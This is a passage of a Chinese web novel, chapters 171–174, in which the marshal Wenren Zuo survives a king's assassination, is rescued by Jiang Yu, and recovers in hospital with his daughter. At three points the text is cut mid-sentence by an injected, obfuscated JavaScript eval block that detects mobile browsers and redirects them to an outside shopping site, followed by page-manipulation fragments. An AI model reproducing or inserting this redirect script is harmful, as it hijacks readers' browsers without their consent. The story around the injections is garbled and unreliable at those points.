门外面,那两个纠缠的影子分开了。姜昆维的身体落了下去,他抓着对方的手松开,啪一声砸在了地上。 而那个青年人起身,扔掉了手中的金属物什,捂住自己的脸,将额头上的发捋了起来。 “我做了什么……”他喃喃自语。 他向后退去,像是不敢相信一般,声音都在颤抖,“我……杀人了。我从来没有……杀过人。” 他又嘀咕了些什么,闻人佐听到了几个字眼:干涉,报应,后果,轮回,不得已,正确的事。 青年人像在安慰自己一般,源源不断向自己脑袋里灌输着些什么。 闻人佐张了张嘴,发出声响,试图引起对方的注意,“你……” 青年人吓了一跳,向房间内看过来。他上前两步,停在门口,露出身上穿的一袭蓝色的衣袍,上身依然遁于阴影之中,看不清脸庞。 “我忘了你还在这里……”青年人说,他挠了挠头,发出沙沙的声响,“刚才真是千钧一发。都怪我,把他变成了疯子。我高估了他的承受能力,让他知道真相是我做的最错误的决定之一。” 闻人佐不知其所云,只是依自己的疑惑,问道:“你是谁?” “我谁也不是。”男人道,但反应了片刻,他又添道,“不过这么说,也没法解答你的疑惑吧?唉,你就当我是一个……想要拯救这个世界的孤魂野鬼。” 拯救? 闻人佐听到了捉摸不清的话语,但没有精力深究。 他的目光向摄文王投去,问道:“你杀了他?” “是啊,我杀了他。”青年人似乎回过了头去,看了一眼,而后,他烦躁地抓了一把自己的头发,“啊啊啊——我怎么就杀了他呢?可是如果不这么做……” 这时候,一阵嘈杂的脚步声传来。青年人的剪影动了动,他说道:“来人了……我也该走了。大元帅,答应我,要活下去啊。” 闻人佐盯着那个青年,看他的身形向后退去,而后就那么消失在了廊道的阴影里。 现在,只剩他和姜昆维了。 闻人佐静默了半响,而后,他驱动自己的双膝,跪着向外挪步。 随着距离的接近,他看清了那个地上的人。 杂乱的金发铺盖地上,它们依然是那般光鲜。姜昆维仰躺着,额头上有一个洞,里面冒出了一丝鲜血,双眼无神。 闻人佐探了他的鼻息,没得到任何对方还活着的反馈。 可他仍然有些无法相信。 姜昆维真的就这么死了? 他总感觉这不现实,盯着那人的脸,觉得他好像随时都会突然坐起来,对自己嘲弄地说:“闻人,还没完,我骗你的。是不是以为自己侥幸活下来了?” 但是姜昆维没有坐起来,也没有那么说,只是躺在那里,寂静无声。 可是,他不是有预知力吗? 死之前,难道就没有预知到自己的死亡? 还是说,那个突然出现又突然消失的男人,他能够打破姜昆维的预言,做出意想之外的事? 不论如何,赤|裸裸的现实已然发生了。 刚才响起的脚步声终于临近了,来人是一众金卫。 他们看到了姜昆维和闻人佐,两人离得很近,一个死亡,一个重伤,像都在鬼门关走过一遭。 “陛下!”金卫冲上前,来到了姜昆维的身旁,然而,在看到他没有焦距的眼睛、以及那额头上的窟窿时,金卫发出了一阵惊呼,“啊……啊!陛下他——” 赶来的金卫都看到了这一幕,有人大嗓门地喊道:“陛下遇刺了!!” 他们开始寻找凶手,不过片刻,那些目光就落在了大元帅的身上。 这里只有姜昆维和闻人佐两个人,要说还有什么,只有一把有些开裂的枪。 怎么看,好像都只能推断出一种可能。 即便大元帅已经残破不堪,没有站起来的力气,金卫们依然用审慎的视线盯着他。 几乎是一点也不意外地,他听到金卫如此散布道:“大元帅杀害了陛下!!” 闻人佐闭上了眼睛,接受了这个结局。 就算辨解些什么,也不会有人相信他。 仇已经报了,所拥有的一切也已经失去,妻女均已不在,他没有什么留恋。 五年前没能完成的斩首,现在也该是时候了。 “快,压住他!”领头的金卫喊道。 闻人佐没有抵抗,一双双手朝他袭来,按住他的肩膀,压在他的痛处,他冷汗直流,但什么也没说。 “立刻通知元老们,这么大的事,我们决断不了!”一个金卫道。 其他金卫也反应过来一般,纷纷向外面跑去。 闻人佐面前,一个满脸刀疤的金卫将他的头拽了起来,往他脸上啐了口口水,“混账东西,刚才在场地上活下来算你侥幸,摄文王宽容大量,你居然背叛!” 闻人佐勾起嘴角,想要露出一个笑容,但是,他脸上的肌肉已经罢工了,最终的模样一定十分得难看。 直到最后,自己可能都没有办法洗清冤屈,不管是五年前的,还是现在的。 这些真相,恐怕,要随着姜家人和自己,一同掩埋在泥土之中。 金卫又呸了一声,一甩闻人佐的头,猛然向他头上踢了一脚。 闻人佐顿时感到脑海里一阵嗡鸣,他阻止不了,也无法说些什么。 元帅闭上眼睛,安静地等待着死亡。他也没那么坚韧,只要再施加一种力,将他的生命连根拔起—— “啊啊啊啊——” 一阵惨叫声传来,就在不远的地方。伴随那叫声而来的,是一阵刀光剑影的碰撞声,还有铁器切割皮肉和骨骼的钝响,最终是金卫们的骚乱。 近处,有金卫大声询问道:“发生什么了!” 旁边有人汇报,“是刚才那伙离开去找元老的人,他们好像遇到什么情况了!” 近处的人向远处的人喊话,声音在廊道里回荡,“喂,那边的,什么情况!” 然而,廊道对侧,那阴暗的远端,没有金卫的回音传来。 近处的金卫陷入一片死寂,他们紧紧地盯着那黑暗的远处,屏息凝神,等待某种未知的到来。 在那黑暗之中,走来了一个脚步声。清脆、缓慢。 闻人佐微微抬起头,往那个方向看去。顿时,他的眼睛睁大,只因看到了一个熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575403|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但陌生的身影。 熟悉,是因为和那人有过多次往来;陌生,是因为闻人佐并不了解这个人。 当下,一个黑发的男人就站在廊道的尽头,他提着一把剑,剑上满是血,但是他身上却很干净、整洁。 男人身边没有一个活人,走来的路上,只有他一个身影,所到之处,寸草不生。 那是血皑的王室,杜光欧。 闻人佐不知道对方是来做什么的,想不明白这个人为什么会出现在这里。 杜光欧走过来,带着一身的腥风。 “你是什么人!”金卫朝对方吼道。 “无意冒犯。”对面的人开口说话了,他的面容冷清,像是世俗的感情都无法沾染一般,“我听这里有人说,大元帅杀害了摄文王,于是就想进来看看是什么情况。” 金卫似乎不信他的鬼话,问道:“你把我们的人怎么了,刚才出去的人呢?” 杜光欧看了一眼背后,没什么波澜地说:“我请他们睡了。” “什么?” “就是说,他们死了。”血皑的王室道。 “你居然——!”金卫们暴怒,对方只有一个人,他们对他没有丝毫的恐惧。一伙人立刻结成一个方阵,像是排练过许多遍一般,十分地训练有素。他们向对面那个男人冲过去,刀枪剑戟全都招呼了上去。 闻人佐跪在地上,起不来,他只能看到金卫们冲上前去的背影。 以及,他们纷纷倒下的模样。 惨叫声络绎不绝,金卫们像纸片一样,被切割,栽倒,堆成一摊混浊的血肉。 杜光欧抬脚,从那一片尸体中跨过来,向这边仅存的几个人走来。他灰色的眸子先是盯着闻人佐,而后,又落在姜昆维的尸体上,“所以,摄文王真的死了。” “你这家伙!!”剩下的一部分金卫向他发起了冲锋,像是热血上头,要为自己的兄弟们报仇一般。 因为这次冲过去的人不多,没有将那个男人的身影彻底遮住,所以,这回,闻人佐清楚地看到了他战斗的方式。 所有的攻击都被他躲过,无论是怎样的奇袭,他连看都不看,轻松化解。而用来化解的剑,轻轻一绕,又变成了刺向对手的利器。 几乎是一瞬间,那些向他冲过去的金卫,又变成了一地的残骸。 杜光欧再度抬腿,从又一轮的坟丘上越过。在他面前,只剩下残破不堪的大元帅,毫无生气的摄文王,以及两三个胆战心惊、进退两难的金卫。 杜光欧将目光停在了那几个金卫身上,视线淡然,仿佛在他的眼中,面前不是武器精良的金卫,而只是几根需要被拨开的杂草一般。金卫们似乎感受到了那冰冷的注视,纷纷向后退去。 这些金卫不前进,杜光欧便开始加速,他提着剑,如一道漆黑的惊雷,一下子砸进金卫之中。 一阵风掠过闻人佐的身边,待他回过头,最后那几个金卫也已然倒下了。 男人送他们到死亡的彼岸,甩了甩满是血污的剑,在一个金卫的衣物上擦净了它,而后,将它收回了剑鞘里。 闻人佐难以置信地看着这一切。 现在,活着的人,只剩杜光欧和闻人佐自己了。 172. 今日阴4 血皑王室朝他走过来,不带任何的杀意,开口道:“没有目击者了。” 闻人佐皱着眉,盯着他,无法理解地问:“为什么?” 显然,对方知道自己在问些什么,但是他没有回答,只是蹲下来,简略看了一番闻人佐身上的各处重伤。 杜光欧:“能走吗?” “去哪?”闻人佐没有了力气,连话也只能说出简短的几个字。 “外面有人在等你。”杜光欧说完,似乎不再打算征求闻人佐的意见,判断对方没有自己站起来的力气,便一条胳膊穿过他的腋下,将他撑了起来。 闻人佐咬着牙,现在每动一下,对他而言都是一种折磨,每走一步,他感觉自己都在流血、分崩离析。 这些痛楚让他没有办法很好地思考,也无法再问出什么有逻辑的问话。他便那么一步步走过廊道,跨越那些金卫的尸体,渐渐离开了戈首的准备室,来到了通向外部的门前。 黄昏的光照射进来,有一个人影在门口等候。那是一个身型欣长的女子,脸上盖着薄薄一层面纱,眉目清淡。 闻人佐看到她,发现那是芋伶。他们最后一次见面是在主宴楼,隔着后厨的窗户,芋伶向他传达了闵派身处王庭的消息。 她在这里,就意味着—— 还没有等大元帅想明白这之间的干系,就听一个熟悉的声音传来。 “佐叔!你还好吗?” 光明之中,一个瘦弱的身影从女人的身后出现。 闻人佐有些意外,他没想到,居然在这里能够遇到姜雨,他以为姜雨被姜昆维捉住之后,已经…… 姜雨满目忧愁,凑过来,看到闻人佐身上的伤势,脸色唰一下变白了。 闻人佐现在才知道自己的模样有多惨。之前,姜昆维没什么表现,那些金卫没什么反应,芋伶的面容藏在面纱下,而这个杜光欧更是冷脸一张,只有姜雨给出了一个正常人的反馈,让他知道自己的样子可能非常糟糕。 姜雨的模样也好不到哪去,他衣衫破烂,脸上有一道不浅的划痕。显然,在那个血腥的接风宴之后,他也遭遇了许多不好的事。矮小男人的声音都有些发颤,他吩咐道:“阁下,把大元帅交给我们吧,其他的……就按计划。” 杜光欧嗯了一声,而后,将他交给了对面的两个逝露阁的女人。闻人佐没有一点力气,被递出去,陷入了一阵香气之间,两个女人架着她,她们的臂膀十分有力,那是属于刺客和武者的手臂,早年,她们是先王王后百里茗手下的人,惨剧发生后,便投奔了百里茗的结交挚友,也就是妓院的神婆,成立了逝露阁这么一个组织,一方面是为了保护姜雨,另一方面也是为了给百里茗报仇血恨。 闻人佐信任她们,此刻也是一样,将自己完全交托了出去。 看着这些人,再看看姜雨,闻人佐没由来地感到一阵平静。当下,他认为有必要让他们知道一件事,和他们这些年的努力都相关的一件事,“姜昆维死了。” 姜雨没有什么太大的反应,张了张嘴,道:“是吗。” 闻人佐:“五年前的惨剧,是他的手笔。” “嗯,他也和我说了。”姜雨沉默了半晌,垂着头不知在思考些什么,而后,他对杜光欧道,“阁下,辛苦你了。” 杜光欧背对着他们,看着廊道的内部。听到这句话,他回头,“不是我。我进去的时候,摄文王已经死了。” 姜雨有些讶异,“什么?不是阁下你动的手?” 杜光欧道:“无所谓,这并不影响计划。” 闻人佐有些听不明白,这个时候,姜雨转过头来,平静地问道:“是你做的吗,佐叔?” 闻人佐摇了摇头,他回答:“是一个……咳咳。” 见他这幅说句话都很坚难的模样,姜雨连连制止,说道:“先什么都别说了。所有事情,等你伤好了再说。” 姜雨走向杜光欧,闻人佐艰难地回过头去,看到杜光欧和姜雨在商量些什么。他们结束了对话之后,姜雨回来了,而那个血皑王室则选择了和他们不同的方向,他走进了那个廊道中去,似乎是又要回到摄文王死去的准备室。 女人架着他,他们开始往远离戈首的方向走。姜雨跟在旁边,伸出手掌,小心翼翼地寻找了半天,才在闻人佐身上找到了一个没有受伤的地方,盖在那上面,像是一种无声地安抚,“没事,佐叔,都结束了。你不会有事,我会处理好这之后的事情。” 闻人佐盯着姜雨,露出疑惑的视线。而对方很懂他,他没有就这么停下,继续解释道:“你的伤太严重,现在听我说就好。那天接风宴上出事之后,姜昆维把我抓起来,似乎是来不及对我做什么,一直把我关在地牢里。现在想想,他应该是忙着给你准备角斗场这些东西吧。” 姜雨如此说着,脸色有些阴沉,“多亏了这样,我才活了下来,坚持到了姐姐们来救我。我赶来的时候,角斗场上的比赛已经开始很久了,我刚好看到了……” 瘦小的男人迟疑了片刻,有什么话在他的舌尖,马上就要吐出来,但是,他模样像是生生憋了回去,说了另一段话出来,“我看到你被带下场地,模样已经快坚持不下去了。于是带着人赶来救你,然后就是刚才那一幕了。” 闻人佐张了张嘴,声音沙哑地道:“杜光欧,他……” 姜雨像是想起来什么一番,解释说道:“哦,他呀。他也是我的协助者。在接风宴开始之前,这个人找到了我,他说他知道姜家五年前遭遇了什么,说如果我需要的话,他可以帮忙,只要我愿意协助他的事业。” 闻人佐听闻,陷入了沉思。 这个杜光欧,他明明已经和姜昆维牵线搭桥,得到了摄文王出兵援助的承诺,可为什么又找上了姜雨? 这时候,有一伙巡逻兵走了过来,他们看到了围积在这里的众人,凑上了前来。 姜雨看到了他们,面容上显露出一副惊慌的模样,朝他们招手,喊道:“出事了!里面,里面有人在杀人!!” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575404|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨指着杜光欧消失的廊道,如此对那些士兵喊道。 几个巡逻兵似乎不认识这瘦小的金发男人,对他严厉地询问:“怎么回事,谁在里面?” 姜雨回答说:“我们是摄文王派进去为大元帅进行救治的,可突然不知从哪来冒出来一个疯子,拿着一把剑乱砍人。我们拼命逃了出来,后来里面发生了什么就不知道了。” 他说得绘声绘色,仿佛真的发生了这么些事似的。 士兵巡视着他们人员的构成,一个瘦小的男人,一帮身轻高挑的女人,一个身负重伤的大元帅,看起来没什么威胁,说是派进去救治的也能吻合上。 于是乎,士兵们离开了,朝那角斗场准备室的廊道入口前进,小心翼翼地围拢了上去。 闻人佐盯着他们,而后,看着姜雨,目光在向他征询。 杜光欧还在里面,为什么要让士兵进去,那岂不是把他也围在里面了? 姜雨注意到了闻人佐的视线,他低声吩咐大家继续走,边对闻人佐低声说:“没事,佐叔,都已经安排好了。” “……什么?”闻人佐艰难地问。 “一开始,杜光欧就是进去杀姜昆维的。他会承担起杀害他的罪名,这是我们说好的,所以不用担心。” 闻人佐一愣,原来这就是他们一直在说的计划吗? 姜雨盯着前方,神情郑重,“姜昆维无药可救。是我决定他的暴行应该被停止,无论是针对你的,还是针对整个摄文。” 听到这里,闻人佐又回头,往角斗场的方向看。看着它,他想起那里泥泞的土地,充满了血腥的空气,一时间,觉得非常恍惚。 记忆涌向他的脑海,他想起每一个敌人,想起看台上微笑的姜昆维,想起那个聒噪的司戈。他想起场地中央的圆柱,还有巨兽乌鲁,以及那个圆柱倒塌的样子。 想到这里,闻人佐突然挣扎了起来,他要回去,他的家人还在那里。 姜雨注意到了他的动作,伸出双手,似乎想要安抚,却因为他身体上的伤痕,无从下手,“怎么了,佐叔?” “宝娇和……小芹。”他艰难地说道。 姜雨一怔,道:“先去休息,接受救治,好吗?我会处理好这一切。” 擒着他的两个女人也停下了脚步,她们看着姜雨,似乎是在征询他的意见。 闻人佐想要甩开她们,然而,这些女人却不是吃素的,无论怎么挣动,那臂膀像是牢固的大地一般,牢牢架着他。 姜雨走到闻人佐的面前,诚恳地看着他,“佐叔,相信我。” 闻人佐盯着对方蓝色的眼睛,那目光之中,他看到了怜惜和珍重,那是他在姜昆维的眼中从未看到过的神色,明明他们的眼睛是如此的相像,却又因为神色的不同,又那么得天差地别。 闻人佐挣扎了一阵子,只看见姜雨眼中的惋惜越来越浓,渐渐地,他失去了力气,也放弃了想要回去的念头,只是说道:“请把她们带给我。不论什么模样……我想见到。” 173. 今日阴5 姜雨忙说道:“好。” 一阵嘈杂的声音从戈首传来,观众们开始向外撤离,一方面,绝生幕结束了,另一方面,可能也有士兵催使的结果。或许那些巡逻兵已经看到了死去的姜昆维,抓到了替罪的杜光欧,为了肃清场地,而让观众尽快疏散。 姜雨和闻人佐这伙人继续往前走,对刚才一切默不作声,所有的真相,都随着他们的离开一起,淹没在了浪浪人潮之中。 一路上,闻人佐感觉自己的精神浑浑噩噩。他又像刚从角斗场上被人抬下来那时一样,脑袋里空空如也,身体任人搬运、移动。 他们似乎来到了一个楼房之中,他被放在一个柔软的床铺上,几个人围着他打转,他们剪开了他的衣服,往他的伤口上泼洒液体,那些地方传来钻心的疼痛,闻人佐感觉自己似乎在挣扎,然后有一双双手按住了他。 “两处贯穿伤,左小腿,右大腿。殴打的淤痕不计其数,躯干,头颅,四肢。左肩一处外伤,见骨。腰部似乎收到过一次重击,得看下骨头断没断。失血,精神萎靡,过度劳累……”似乎有一个冷淡的声音在说话,一一细数着他的伤势。,那个声音投出来一个疑问,“他是怎么活下来的?” 一旁,另一个声音问他,“大夫,他会没事吧?” “不敢保证。他还有一口气,可能只是什么吊着他。”声音硬朗、看似无情的男子回答道,“叫楼里所有的人都过来,试试能不能救回来。” 那些声音离闻人佐很远,他的视野朦胧一片,有各种各样的人影在他面前闪过,他看不清他们的脸。 意识潜入了一片混沌之中,他似乎醒着,却什么也感受不到,他似乎睡去,然而却清楚地知道自己的意识还清醒。 便这么过了短短的一瞬,又或许很久,他睁开眼睛,依然有许多人在围着他,急迫的、纷杂的声音传来。 “……别管那里了,先把命保住。“ “……小荷,盯着他的呼吸,有什么异样,及时告诉我……” 还是那个熟悉的男声,只是,他不再那么冷漠,而是有些暴躁。 “给他止血,给他止血!你修好了一条腿,人死了有什么用!?” “师傅,他好像醒了。”一个年轻的声音道。 “……醒你妈……!没见过快死的人,还没见过快死的鱼?按住他,再这么挣扎,他活不了!” “师傅,他在说话。”另一个声音道。 “他那是在骂你没用!操蛋的,我让你拿的钳子呢?” “……稳一点,我说稳一点!手哆哆嗦嗦的,人都要叫你戳出来两个窟窿!……算了,给我吧!” 好像有什么东西在他身体里移动,就在大腿的位置,他感觉不到疼痛,只有一种奇怪的,被人触摸身体内部的感觉。 没过多久,他的思绪又断了。在一片混沌之中,他好像去了另一个地方。 他坐在一条暗流的旁边,头顶是漆黑的天幕,旁边是无声的黑水,周围是昏暗的原野,这里什么也没有,只有他自己。 不知过了多久,一只萤火虫从他的眼前飞过,他伸出手去,想要抓住它,但是,他身体没法往前,有什么东西拽住了他。 闻人佐睁开眼睛,一片朦胧。先是声音传进耳中,他听得清每一句话,却无法理解它们。 “……把血迹擦一擦,小心点,尤其是刚缝好的地方。他伤情太严重,具体能恢复成什么样,就看后续的造化了。” 视野逐渐清晰起来,周围的人变少了一些,声音不再那么嘈杂。闻人佐看到自己举起一只手来,就好像还要去抓萤火虫一样。片刻后,另一只手抓住了他伸出去的手,他不知道那是谁的。 “全天候着,能说话了叫我。”那个一度暴躁的男人说道,他的脚步声很沉重,匆匆离开了。 他的手被放了下来,闻人佐茫然地盯着房顶,脑袋里什么都没有,迟缓、空白。 一个金灿灿的脑袋出现在视野里,声音像是隔着一道墙,向他传来,“佐叔,佐叔?” 那人呼唤着,闻人佐没法聚焦自己的视线,只是被动地接受着这样的画面。 那个人是谁?他连在脑海里提出这样的疑问,都耗费了不少时间。 金发的男人被叫走了,光秃秃的房顶再度与他作伴。 那实在无趣。过不多久,一阵困倦袭来。他不知道这是第几次陷入沉睡。 这次,没有无边的暗夜,没有一条黑色的河流,也没有萤火虫。他似乎睡了很久,第一次真正地陷入了深眠。 待他醒来的时候,依然迷茫,他感觉自己残破不堪,像一块破布被丢在床上。 “……他醒了。” 旁边,一个女人如此说道。 他听到哒哒哒几声,似乎是非常轻盈的脚步声,而后,在他几乎无法转动的视野里,他看到一个小脑袋露了出来。 女孩睁着一双大眼睛看他,那眼睛里面有太多的忧伤,她脸颊红彤彤的,像是大哭过一场,稚嫩的脸蛋上有几处伤痕,都贴上了纱布。 闻人佐盯着,一开始,他什么反应也没有,但是,渐渐的,他似乎听见了内心的呼喊,有什么东西在一层层冲破他残败的身躯,从内部迸发了出来。 闻人佐渐渐找回对自身的掌控感,疼痛紧随而至,但是,一并回到他的身体中的,还有汹涌的感情。 他张嘴,想要发声,但是什么也没说出来。 “别,把她带走,病人才刚醒。”一个女声说。 然而,另一个声音制止了她,“他已经看到了。” “他不能受刺激。”女人道。 另一个男人道:“他需要一点刺激,才会想要活下去。” “可是这……”女人犹豫。 “护士姐姐,我比你了解他。”男人道。 怎么会……? 闻人佐在心里问道。 自己是不是已经死了?不然,为什么他会看到闻人芹就在自己的眼前? 他抬不动手,说不出话,眼睛一眨也不眨。生怕眨眼之后,眼前的人儿就消失了。 这时,另一个脚步声靠了过来。那个金灿灿的脑袋再度进入他的视野,闻人佐听到他说:“佐叔,我们在废墟里发现了小芹。叔母……护住了她。” 闻人佐花了好长的一段时间,才渐渐理解了这句话。 理解这句话之后,加之对那个金发男人天然的信任,他才敢相信,眼前的不是幻觉。 一丝热流沿着他的眼角滑落,他的视野变得朦胧,他奋力地眨眼,试图看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575405|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清眼前的人。 一双稚嫩的手盖在他的眼睛上,帮他撇去了那些碍事的液体。 “爸爸……” 听到这个声音,闻人佐想要回答些什么,然而,只有嘴唇动了动,更多的泪水混浊了他的眼睛。 姜雨拿来了一个手帕,擦干泪水,闻人佐的视野再度清晰。金发男人抱起闻人芹,让她离闻人佐更近一些,瘦弱男人温和的声音传来,“没事的,小芹就在这里,她会一直陪着爸爸,直到他好转。” 闻人佐感觉自己的胸腔在抽搐,女儿小小的手触摸着他的脸,那柔软的感觉,让他的泪水不断决堤。 “儿啊,让我看看你!”这时,一个苍老、年迈的声音传来。 闻人佐转动眼珠,看到了闻人空烛的脸。他的父亲仿佛一夕之间苍老了十岁,脸上多出了许多皱纹,原本还有几缕□□的黑发,现在却是全都白了。脚步也有些一瘸的拐的,身上缠着一层绷带,似乎也受过不小的伤。 爸…… 闻人佐努了努嘴,却还是发不出声音。 闻人空烛凑过来,和闻人芹的脸蛋挤在一起,揪心的目光投来,“爸在这呢,孩子别怕。” 闻人佐想说,爸啊,我已经四十多岁了,怎么还用那种语气和我说话。 可是,他的话没说出口,只有眼泪愈发溃堤。 三人便这么陪着他,就这么陪着他,一直陪着他。闻人佐什么也做不了,他只能一直看着,像是生命维系在这上面一般,只有看着闻人芹,看着他的老父亲,看着他宣誓效忠的那个善良的姜家人,才感受到了自己生命的重量,他还有责任,不能就这么死去。唯有产生了这样的念想,身体才会修复,精神才能复原。 期间,有人为他更换了纱布,重新检查了伤势,递来了水和稀粥,大元帅木讷地接受着给他的一切。 后来,姜雨把闻人芹小小的身躯放在他的爸爸身边。女孩也一度受到过惊吓,现在十分地疲倦,便在她父亲的身边睡了过去。 而闻人佐盯着那个小小的身躯,感觉到一阵空寂的平和。 那后来的一阵子,日子在疼痛的煎熬中度过,那些他肆意挥霍这具身体而留下的伤,加倍地反噬给了现在的他。 他只能熬着,好在,有了亲人的陪伴,一切都好过了许多。 日子就这么一天天过去,以为不会再愈合的伤却都慢慢复原了,时间和生命的伟力俢复着一切。 渐渐地,闻人佐也能开口说话,又躺了一阵子,他能坐起来了,不久之后,他开始蹒跚地开始走路。那之后,他总是拄着两根拐杖,在狭小的房间里走动,时而去窗口看看外面的景色,时而只是活动一下。 闻人芹的精神头也越来越好,一直跟在闻人佐的身边,片刻不离,像是依附于石头上的青苔一般。 闻人空烛时常需要回去处理家事,但一有空就来病房,陪伴着他唯一的儿子。 这段时间里,最初的时候,姜雨会很频繁地来探望闻人佐,带来许多吃的东西、用的东西,大包小裹地堆在病房里,像是生怕他缺了什么。 后来,他来的次数渐渐少了。年轻的亲王似乎忙了起来,每次来见闻人佐时,穿着都不太一样,身上的配饰渐渐繁冗,而那背后代表了什么,不言而喻。 174. 风花凋落1 这个金发男人来的时候,他们会聊一些外面的情况。姜昆维死了,杜光欧被作为犯人囚禁起来,姜雨说这都在他们的掌控之中,不成什么问题。 摄文王死后,这个灯火烂漫的城市亟待一个新的领导者,赋予它更多的疯狂,或者,夺去他们的疯狂。而姜雨虽然一句话都没有提自己的事,但是,闻人佐知道,他一定暗暗肩负起了什么责任。从他衣装的改变,还有那明显憔悴的容颜,以及话语中的疲惫就能看得出来。 姜雨似乎很快地成熟起来,不再是那个躲在妓院的深处、整日在井边悠闲读书的那个人。 两人的交流中,这个瘦小的金发男人时不时会提起外面的局势,说现在动荡不堪,正是需要能手帮助的时候。说到这里,他又会岔开话题,说,佐叔,希望你能早点好起来。 这是什么意思,闻人佐当然听的明白。 姜雨需要他,但是,闻人佐却在一直装糊涂。 他的身体残破,显然没有做好回归的准备。但是他自己清楚,最没做好准备的,其实是他的心。 在大元帅这个位置上待了六年,几乎没有一天,他能心安理得地入睡。 现在,五年前惨剧的真相已经揭开,大仇已经得报,姜雨也没有了性命之忧。闻人佐便像一只断了线的风筝,突然失去了目标。 现在,即便再让他坐在大元帅那个位置上,他也不知道该做什么。 那个位置带来了太多梦魇,摄文是他的坟场,王庭是他的墓碑,而那些摄文的子民们,是死亡路上的奸笑小鬼。 他没有任何的留恋。 事到如今,闻人佐只在乎一件事,那就是自己的女儿。 他只希望她好好的。 ## 一日清早,闻人佐盯着窗外,心情平静。 他不知有多久没有享受过这种平静,女儿在他身旁安静地睡着了,病房里只有他们两人,外界发生的一切都和他们无关。 可这导致一切都像是假的一样,让他开始怀疑自己是不是身处一个谎言之中,其实这些平静都是蒙蔽他的幻象。 就在这无虞的一日,姜雨来到了闻人佐的病房。 男人和以往每天都不一样。他穿着金色的、华贵的服装,佩戴着复杂的服饰,金色的头发打理得当,这一切都说明,他要前往什么重要的场合。 姜雨空手而来,没带任何慰问品,这不像他。他让侍者们留在了门外,自己一个人进来,对病床上的人说:“佐叔,你身体怎么样?” 又经过了一段时间,闻人佐已经能拄着拐杖走路了,而且,能走很长的一段路,从病房到自己的家里不成问题。只是,受伤颇重的腿能否完全复原,还是会烙下病根,这依然是个疑问,为了更好的治疗,大夫不让他回家,闻人空烛也执意让他在医所待着。 闻人佐盯着来者,思绪还没有从清早的想法中抽离,他有些突兀地问道:“姜昆维真的死了吗?” 对面,姜雨一愣,脸上露出一丝同情的神情。他靠近病床,坐在闻人佐的身边。 闻人佐向近处的人询问道:“这些,不会是他又一个恶劣的玩笑吧。” 姜雨摇摇头,安抚地拍了拍眼前人的臂膀,“他真的已经死了,都已经下葬了,佐叔。” 闻人佐眨眨眼,眼眸和头颅一起缓缓垂了下去。 姜雨轻轻叹息了一声,摆弄着自己袖口精细的缝线,空了半晌,说道:“其实,今天我来是想告诉你一件事。” 姜雨这次前来两手空空,显然,目的不是单纯的探望。他上次来已经是十几天前了,这段日子,他在忙些什么,闻人佐一无所知。 “什么事?” 姜雨看着闻人佐,目光深沉,说道:“我们抓到了丝黛拉。” 闻人佐反应了片刻,他几乎要忘了这个女人。在那天给姜雨的接风宴之后,他就再没有见过她的身影。 姜雨继续说道:“她最开始也被姜昆维抓住了,后来不知道怎么逃了出去。我们花了一阵子,才把她从孤儿院找出来,关了起来。” 闻人佐沉思了一阵子,道:“……她是五年前潜入王庭的刺客之一,抓住她,先王的遗恨也就了结了。” “是的,父亲的事情终于结束了。”姜雨凝望着闻人佐,“但是,佐叔,你的还没有。” 闻人佐疑惑地盯着姜雨。 姜雨撇开了视线,随意地落在地面,他坐在床边上,晃荡着两条腿,这时候倒是显露出一副年轻人的模样来,“我已经召集了大臣,让丝黛拉当众把当年的罪行陈述,在她的证词之下,整个摄文都会知道姜昆维曾经做过的事。现在,市民们还在为他悼念呢,以为他是一位正直的、心怀民众的王。” “……如果能让世人认清他,这样很好。”闻人佐道,“这样,那个血皑来的王室也能洗脱罪名……” “说什么别人的事情啊,佐叔。”姜雨的声音有些无奈,他道,“多想想你自己,行吗?在丝黛拉坦白之后,五年前的惨案,你也能翻身。这些年,这座城市和它的人民加之于你身上的不公与偏见,都能得到洗雪。” 闻人佐垂着眼,摸了摸一旁沉睡的闻人芹的脸蛋,“也是,如果我身上依然戴罪,恐怕小芹的生活依然会受到影响。” “……唉,我说你……”姜雨叹息了一声,他原本想要说什么,却似乎是因为太了解眼前的男人,而放弃了无用的埋怨。 “丝黛拉会把真相说出来吗?”闻人佐问。 “她会。”姜雨断定道。 “因为姜昆维最终也背叛了她?” “不,不是。”姜雨回答,“因为她爱着姜昆维。” 听到这里,闻人佐哑然。 爱着姜昆维? 那个待在姜昆维身边,总是一言不发的闵派刺客,怎么想都是出于联姻或者其它的政治目的,才作为闵派的代表和姜昆维结婚。 爱,这怎么可能呢。 姜雨没有继续解释下去,“所以,和我走一趟吧,佐叔。一起去正名之地。” “现在?” “对。” 